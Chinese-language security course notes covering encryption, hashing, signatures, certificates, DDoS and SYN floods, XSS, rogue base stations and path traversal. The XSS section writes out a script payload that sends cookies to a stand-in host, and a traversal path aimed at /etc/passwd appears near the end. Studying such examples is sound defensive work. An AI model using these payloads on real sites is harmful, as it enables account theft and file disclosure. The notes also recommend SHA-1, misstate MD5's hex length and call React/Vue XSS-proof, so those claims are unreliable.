目前最常见且广泛使用的非对称加密算法是 RSA 算法。RSA 依赖的是大整数的分解,以及一些和素数相关的算法。目前没有理论可以破译 RSA 算法。总体来说,RSA 密钥越长破解成本就越高,因此仍然被广泛使用。其他的非对称加密算法还有 DSS、EIGamal 等。
用 RSA 非对称加密算法加密 10000 个莎士比亚书中的句子,用时在 11s 左右,而采用 AES 对称加密算法加密,用时在 400ms 左右。
通常对于一个给定的摘要算法,无论你的文章多大,有多少字节,最终生成摘要的字节数是固定的。
以 MD5 摘要算法为例:无论数据多大,经过 MD5 计算后,都会形成一个 128 位的值,换算成 16 进制是 16 个字符。可见,摘要算法是比较省空间的,如果用加密算法,那么体积会和原文大小正相关。用 MD5 摘要一个 100M 的视频文件,也会形成只有 128 位的值。
摘要是对原文的证明,从原文到摘要是一个不可逆的过程。
通过原文可以计算出摘要,一旦原文发生变化,哪怕是一个标点符号,摘要也会发生变化。而已知一个摘要,想要反推出原文,几乎是不可能的。因为摘要和原文并不是一对一的关系,是多个原文对应一个摘要。而且,想要找到两个摘要碰撞的原文是非常困难的发生概率相当于买彩票中大奖。我们通常会选择碰撞难度更高的摘要算法,这里推荐你在实战中用 SHA-1 摘要算法。
摘要算法解决了以下这几个问题:
为原文生成固定长度的内容证明(内容摘要);
摘要无法被逆向得到原文,看上去是随机的,黑客拿到了也不知道原文;
极少概率碰撞:不同的内容极大概率(绝大多数接近 100%)会生成不同的摘要。
摘要的另一个非常重要的用途就是签名。
举个例子,张三和李四签署一份合同。
如果张三将合同生成摘要,再用自己的私钥加密摘要,得到一个密文串,那么这个串就是张三对合同的数字签名(DIgital Sign)。
张三生成好数字签名,将自己的公钥、合同原文以及数字签名交给李四保管,就基本上达成了今天我们签约双方交换合同的效果。
你可以这样思考,数字签名是对摘要的加密,因此数字签名本身还拥有摘要能力的。
如果原文没有被修改,那么下面的条件会满足:
公钥解密(数字签名) == 签订合同时的原文摘要 == 摘要算法(当前原文) == 当前摘要
让公钥私钥具有公信力
【解析】当用户用浏览器打开一个 HTTPS 网站时,会到目标网站下载目标网站的证书。接下来,浏览器会去验证证书上的签名,一直验证到根证书。如果根证书被预装,那么就会信任这个网站。也就是说,网站的信用是由操作系统的提供商、根证书机构、中间证书机构一起在担保。
此类证书文件通常不在办公电脑,或者公司网盘上备份。如果你自己的电脑中有备份,应该尽快删除。通常证书直接保存到安全级别较高的服务器上,只有需要使用证书的软件才能够访问。另外,如果外部的第三方服务需要用到私钥,比如 CDN,那么这里还会涉及一些特别的密钥分发技术,以及硬件加密技术,具体可以参考 Keyless SSL 和 Intel 的 QAT 方案。
【解析】SYN 攻击是 DDoS 攻击的一种形式。这种形式攻击者伪装成终端不停地向服务器发起 SYN 请求。通常攻击者的肉鸡,发送了 SYN 之后,不等给服务端 ACK,就下线了。 这样攻击者不断发送 SYN ,然后下线,而服务端会等待一段时间(通常会在 3s 以上),等待 ACK。这样就导致了大量的连接对象在服务端被积累。
针对这个特点可以实现一个 TCP 代理(防火墙),发现有发送 SYN 但是不给 ACK 的行为就对目标 IP 地址禁用一段时间。这个策略平时可以配置成开关,等到被攻击的时候打开。另一方面,可以适当提升连接数支持。
正文:
安全案例: DNS 提供商 Dyn 遭遇了一次大规模的 DDoS(分布式拒绝服务攻击),有 14000 个网站域名受到影响。
拒绝服务攻击(Denial-of-Service Attack,DoS)是一种常见的攻击手段。
DoS 的原理就是利用大量的流量迅速向一个网站发送出去。这种流量可能是应用层的,比如大量 HTTP 请求;也可以是传输层,比如大量的 TCP 请求。比如 2018 年 2 月 18 日,Github 就遭受了一场超大规模的 DoS 攻击,瞬间流量峰值达到了 1.35Tbps。之后,黑客还对 Google、亚马逊等网站也进行了攻击。
为了形成足够强大的流量,攻击者往往没有足够的经济实力购买机器,而是利用中病毒、木马的机器组织流量攻击。这些中病毒的机器,我们俗称“肉鸡”。顶级的黑客往往控制着大量的肉鸡,一声令下,肉鸡就开始疯狂向目标发送网络封包,直到打垮目标。因为肉鸡是分散在世界各地的,因此这种攻击我们也称为分布式拒绝服务攻击(Distributed Denial-of-Service Attack, DDoS)。
DDoS 的种类有很多,手段也很复杂。
直接不停发送 Ping 消息的,利用底层的 ICMP 协议,称为ICMP 攻击;
走 UPD 协议的,称为UDP 洪水(UDP Flood);
不停利用 TCP 协议发送 SYN 消息的,也叫SYN 攻击;
模拟用户行为,不停发帖、浏览帖子、浏览网页、加购物车等,称为挑战黑洞攻击(Challenge Collapsar)。
当遇到 DDoS 攻击的时候,如果有所准备,就可以做到有备无患。比如说购买了防火墙,防火墙会根据特征识别出攻击行为,通过这样的方式将攻击行为过滤掉,让系统不会因为 DDoS 而过载造成崩溃。
当然如果是纯粹的流量攻击,仅仅靠防火墙是不够的。通常一些大型互联网公司会进行多活建设。一般是两地三机房,分别是日常生产环境、同城灾备环境和异地灾备环境,遇到 DDoS 可以考虑切换流量,也能起到一定作用。
CDN 在解决 DDoS 时往往也有很好的效果,毕竟 CDN 是大量缓存节点,DDoS 攻击 CDN 的时候用不上力。当然,如果资金不足以购买服务器的小团队,可以自己实现软件防火墙。其实就是设计一台吞吐量极高的代理服务器,作为反向代理挡在所有服务前面,如果遇到 DDoS,代理服务器可以识别出一些特征并丢弃一些流量。
在遇到攻击的时候,对服务适当降级也是有必要的,甚至可以牺牲一部分用户保全另一部分用户的正常使用。火墙是基于特征识别,本身也会有一定的误杀现象,在被攻击的时候,可以人为降低判定攻击行为的门槛。通过允许防火墙造成一部分的误伤来识别出更多的攻击流量。
跨站脚本(Cross Site Scripting),顾名思义,就是利用漏洞将脚本注入网页中。比如提交个人信息的输入框,如果在服务端没有处理好就有可能触发跨站脚本。
假设有一个输入个人签名的多行文本输入框,正常用户会输入几句有趣的话,但是黑客可能会尝试输入:
<script>document.createElement('img').src="https://some.site.com?cookie=document.cookie"</script>
如果这段话被显示到用户的个人主页,那么访问这个用户空间的其他用户就会被攻击,进而被黑客拿走 Cookie 中的关键信息。
XSS 攻击模式很简单,就是想办法向网站的页面上注入脚本。总的来说,输入框是一个重灾区。目前随着前端技术的发展,使用前端框架,比如 React 或 Vue 开发的页面已经杜绝了被 XSS 的可能。但是有时候如果工作出现某些疏漏,还是会导致 XSS 的发生。所以正确的做法是上线前拜托安全部门的同学协助进行一些针对 XSS 漏洞的扫描。
一些不法分子利用伪基站,比如找一个人多的地方,用自己的伪基站设备伪装成基站,向用户提供网络。一些离不法分子较近的人,手机可能会连接上伪基站。连接上后,不法分子的伪基站就成了你上网的代理,可以进行很多非法操作。
在遇到中间人攻击时,互联网的信用体系、操作系统、浏览器等就会帮你把好最后一关。比如你访问淘宝购物,中间人向你投放假网页。浏览器就会去验证这个假网页的证书,是不是淘宝的证书。
【解答】比较常见的情形就是开发机器信息泄漏或者中毒成了肉鸡。很多同学的开发机器上都配置了到服务器跳板机的免密登录权限。如果开发机器上公钥泄漏,黑客就有可能登入跳板机。如果成了肉鸡,那么很多行为都可以远程操控,相当于黑客攻破了你公司的内网。
还有一种常见的情形和代码注入有些相似之处,比如说有一个获取配置文件的服务,用参数表示配置文件的名称,比如 /getfile/a.txt 代表取出代码路径某个相对目录的 a.txt。这个时候如果网站程序实现直接将参数作为文件路径的一部分,黑客可能会尝试使用 /getfile/…/…/…/etc/passwd 去获取 /etc/passwd 文件。